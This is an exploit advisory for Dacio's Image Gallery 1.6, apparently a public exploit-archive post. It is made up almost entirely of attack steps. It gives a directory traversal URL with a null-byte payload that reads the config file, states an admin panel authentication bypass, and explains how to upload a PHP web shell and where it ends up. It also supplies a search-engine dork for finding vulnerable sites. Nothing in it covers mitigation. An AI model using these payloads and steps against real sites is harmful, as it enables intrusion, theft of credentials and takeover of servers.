Dacio's Image Gallery version 1.6 suffers from directory traversal, authentication bypass, and shell upload vulnerabilities.
fbb368842a115761fab3887f17f476f75bf88e5e8e53b7d8d60342f164bf5d12
=-=-Local Directory Traversal/bypass/shell upload/-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::Dacio_imgGal-v1.6
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:https://www.kopicaidej.net/index.php?com=hex&Dld=59
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Directory Traversal:
/Dacio_imgGal-v1.6/index.php?gallery=../config.inc%00
------
bypass and upload:
go to admin.php(Panel Bypassed) and add image (shell upload)
shell: /images/beauty_1/shell.php if deleted beauty_1
create a new gallery
example aa:
shell: /images/aa/shell.php
-----
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=--=-=-=-=
dork: intitle:"Dacio's Image Gallery"
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=